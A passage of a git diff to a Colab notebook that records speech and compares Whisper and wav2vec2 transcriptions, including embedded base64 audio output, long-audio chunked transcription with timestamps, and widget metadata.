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\" type=\"audio/wav\" />\n",
+              "                    Your browser does not support the audio element.\n",
+              "                </audio>\n",
+              "              "
+            ],
+            "text/plain": [
+              "<IPython.lib.display.Audio object>"
+            ]
+          },
+          "metadata": {},
+          "output_type": "display_data"
+        }
+      ],
+      "source": [
+        "from IPython.display import Audio, display, clear_output\n",
+        "from colab_utils import record_audio\n",
+        "import ipywidgets as widgets\n",
+        "from scipy.io import wavfile\n",
+        "import numpy as np\n",
+        "\n",
+        "\n",
+        "record_seconds =   20#@param {type:\"number\", min:1, max:10, step:1}\n",
+        "sample_rate = 16000\n",
+        "\n",
+        "def _record_audio(b):\n",
+        "  clear_output()\n",
+        "  audio = record_audio(record_seconds)\n",
+        "  display(Audio(audio, rate=sample_rate, autoplay=True))\n",
+        "  wavfile.write('recorded.wav', sample_rate, (32767*audio).numpy().astype(np.int16))\n",
+        "\n",
+        "button = widgets.Button(description=\"Record Speech\")\n",
+        "button.on_click(_record_audio)\n",
+        "display(button)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
         },
-        "ea67e226c77847aeb178f6d030a4b26e": {
-          "model_module": "@jupyter-widgets/base",
-          "model_module_version": "1.2.0",
-          "model_name": "LayoutModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/base",
-            "_model_module_version": "1.2.0",
-            "_model_name": "LayoutModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "LayoutView",
-            "align_content": null,
-            "align_items": null,
-            "align_self": null,
-            "border": null,
-            "bottom": null,
-            "display": null,
-            "flex": null,
-            "flex_flow": null,
-            "grid_area": null,
-            "grid_auto_columns": null,
-            "grid_auto_flow": null,
-            "grid_auto_rows": null,
-            "grid_column": null,
-            "grid_gap": null,
-            "grid_row": null,
-            "grid_template_areas": null,
-            "grid_template_columns": null,
-            "grid_template_rows": null,
-            "height": null,
-            "justify_content": null,
-            "justify_items": null,
-            "left": null,
-            "margin": null,
-            "max_height": null,
-            "max_width": null,
-            "min_height": null,
-            "min_width": null,
-            "object_fit": null,
-            "object_position": null,
-            "order": null,
-            "overflow": null,
-            "overflow_x": null,
-            "overflow_y": null,
-            "padding": null,
-            "right": null,
-            "top": null,
-            "visibility": null,
-            "width": null
-          }
+        "id": "K0Ka85iA2gUC",
+        "outputId": "e7dc81d0-442a-4440-a58e-0288af34be8a"
+      },
+      "outputs": [
+        {
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "/usr/local/lib/python3.9/dist-packages/transformers/generation/utils.py:1313: UserWarning: Using `max_length`'s default (448) to control the generation length. This behaviour is deprecated and will be removed from the config in v5 of Transformers -- we recommend using `max_new_tokens` to control the maximum length of the generation.\n",
+            "  warnings.warn(\n"
+          ]
         },
-        "eabcbeba261740e08f09cc1513b337ad": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "ProgressStyleModel",
-          "state": {
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "ProgressStyleModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/base",
-            "_view_module_version": "1.2.0",
-            "_view_name": "StyleView",
-            "bar_color": null,
-            "description_width": ""
-          }
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "Whisper:  In 1905, Einstein published four groundbreaking papers. These outlined the theory of the photoelectric effect, explained Brownian motion, introduced special relativity, and demonstrated mass-energy equivalence. Einstein thought that the laws of\n",
+            "Wav2vec2: in nineteen o five ennstein published foreground brickin papers thise outlined the theory of the photo electric effect explained brownin motion introduced special relativity and demonstrated mass energy equivalents ennstein thought that the laws\n"
+          ]
+        }
+      ],
+      "source": [
+        "print(\"Whisper:\", get_transcription_whisper(\"recorded.wav\", whisper_model, whisper_processor))\n",
+        "print(\"Wav2vec2:\", get_transcription_wav2vec2(\"recorded.wav\", wav2vec2_model, wav2vec2_processor))"
+      ]
+    },
+    {
+      "attachments": {},
+      "cell_type": "markdown",
+      "metadata": {
+        "id": "UbQxYoBXl9c7"
+      },
+      "source": [
+        "# Transcribing Long Audio Samples"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 20,
+      "metadata": {
+        "id": "HLbh4VJxkxJp"
+      },
+      "outputs": [],
+      "source": [
+        "def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, \n",
+        "                                   chunk_length_s=10, stride_length_s=2):\n",
+        "    \"\"\"Get the transcription of a long audio file using the Whisper model\"\"\"\n",
+        "    return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps,\n",
+        "                  chunk_length_s=chunk_length_s, stride_length_s=stride_length_s)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "2QypuIDAk5QK"
+      },
+      "outputs": [],
+      "source": [
+        "# initialize the pipeline\n",
+        "pipe = pipeline(\"automatic-speech-recognition\", \n",
+        "                model=whisper_model_name, device=device)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 22,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "MwsBPkdSk7jn",
+        "outputId": "96b0582a-0743-45ec-d833-7ca21ffa706d"
+      },
+      "outputs": [
+        {
+          "name": "stderr",
+          "output_type": "stream",
+          "text": [
+            "Disabling tokenizer parallelism, we're using DataLoader multithreading already\n"
+          ]
+        }
+      ],
+      "source": [
+        "# get the transcription of a sample long audio file\n",
+        "output = get_long_transcription_whisper(\n",
+        "    \"https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav/", \n",
+        "    pipe, chunk_length_s=10, stride_length_s=1)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 23,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 72
+        },
+        "id": "5xON5pvWlEEK",
+        "outputId": "179d7522-1f09-4176-84bf-5b6f2d85fd28"
+      },
+      "outputs": [
+        {
+          "data": {
+            "application/vnd.google.colaboratory.intrinsic+json": {
+              "type": "string"
+            },
+            "text/plain": [
+              "' The horse trotted around the field at a brisk pace. Find the twin who stole the pearl necklace. Cut the cord that binds the box tightly. The The red tape bound the smuggled food. Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins. The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..'"
+            ]
+          },
+          "execution_count": 23,
+          "metadata": {},
+          "output_type": "execute_result"
+        }
+      ],
+      "source": [
+        "output[\"text\"]"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": 24,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
         },
-        "ed2a73a73d054eb6a7d2294bedd368ca": {
+        "id": "AEjVdbKXk96r",
+        "outputId": "0daaf33a-a397-4a6c-dc3f-d56e5b678c83"
+      },
+      "outputs": [
+        {
+          "name": "stdout",
+          "output_type": "stream",
+          "text": [
+            "(0.0, 6.0) :  The horse trotted around the field at a brisk pace.\n",
+            "(6.0, 12.8) :  Find the twin who stole the pearl necklace.\n",
+            "(12.8, 21.0) :  Cut the cord that binds the box tightly. The The red tape bound the smuggled food.\n",
+            "(21.0, 38.0) :  Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins.\n",
+            "(38.0, 58.0) :  The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..\n"
+          ]
+        }
+      ],
+      "source": [
+        "for chunk in output[\"chunks\"]:\n",
+        "  # print the timestamp and the text\n",
+        "  print(chunk[\"timestamp\"], \":\", chunk[\"text\"])"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "QsReWl7zlJt9"
+      },
+      "outputs": [],
+      "source": []
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "gpuType": "T4",
+      "machine_shape": "hm",
+      "provenance": []
+    },
+    "gpuClass": "standard",
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "1c348712a37045239a35b41430756d4d": {
           "model_module": "@jupyter-widgets/controls",
           "model_module_version": "1.5.0",
-          "model_name": "HBoxModel",
+          "model_name": "ButtonModel",
           "state": {
             "_dom_classes": [],
             "_model_module": "@jupyter-widgets/controls",
             "_model_module_version": "1.5.0",
-            "_model_name": "HBoxModel",
+            "_model_name": "ButtonModel",
             "_view_count": null,
             "_view_module": "@jupyter-widgets/controls",
             "_view_module_version": "1.5.0",
-            "_view_name": "HBoxView",
-            "box_style": "",
-            "children": [
-              "IPY_MODEL_12b41877be1d410dbd44c54b4dfa21b1",
-              "IPY_MODEL_3b08026412914f058ceccad5ca69ab9e",
-              "IPY_MODEL_11581f616a1547e4af2fa8059361e120"
-            ],
-            "layout": "IPY_MODEL_b5d0cb0d69aa4df59b8c53d4f70c5345"
+            "_view_name": "ButtonView",
+            "button_style": "",
+            "description": "Record Speech",
+            "disabled": false,
+            "icon": "",
+            "layout": "IPY_MODEL_32d1d0fb4ee748108d01fa01fbfb5473",
+            "style": "IPY_MODEL_8035a1813fce41cfad51849aea43a446",
+            "tooltip": ""
           }
         },
-        "eec27fed27e24c27be025c83d22b61cf": {
+        "32d1d0fb4ee748108d01fa01fbfb5473": {
           "model_module": "@jupyter-widgets/base",
           "model_module_version": "1.2.0",
           "model_name": "LayoutModel",
@@ -2361,92 +989,20 @@
             "width": null
           }
         },
-        "f602a96212f64ff0b2c7430e9e402855": {
+        "8035a1813fce41cfad51849aea43a446": {
           "model_module": "@jupyter-widgets/controls",
           "model_module_version": "1.5.0",
-          "model_name": "DescriptionStyleModel",
+          "model_name": "ButtonStyleModel",
           "state": {
             "_model_module": "@jupyter-widgets/controls",
             "_model_module_version": "1.5.0",
-            "_model_name": "DescriptionStyleModel",
+            "_model_name": "ButtonStyleModel",
             "_view_count": null,
             "_view_module": "@jupyter-widgets/base",
             "_view_module_version": "1.2.0",
             "_view_name": "StyleView",
-            "description_width": ""
-          }
-        },
-        "f69d665f4fcc401397d0091dc425b001": {
-          "model_module": "@jupyter-widgets/controls",
-          "model_module_version": "1.5.0",
-          "model_name": "HTMLModel",
-          "state": {
-            "_dom_classes": [],
-            "_model_module": "@jupyter-widgets/controls",
-            "_model_module_version": "1.5.0",
-            "_model_name": "HTMLModel",
-            "_view_count": null,
-            "_view_module": "@jupyter-widgets/controls",
-            "_view_module_version": "1.5.0",
-            "_view_name": "HTMLView",
-            "description": "",
-            "description_tooltip": null,
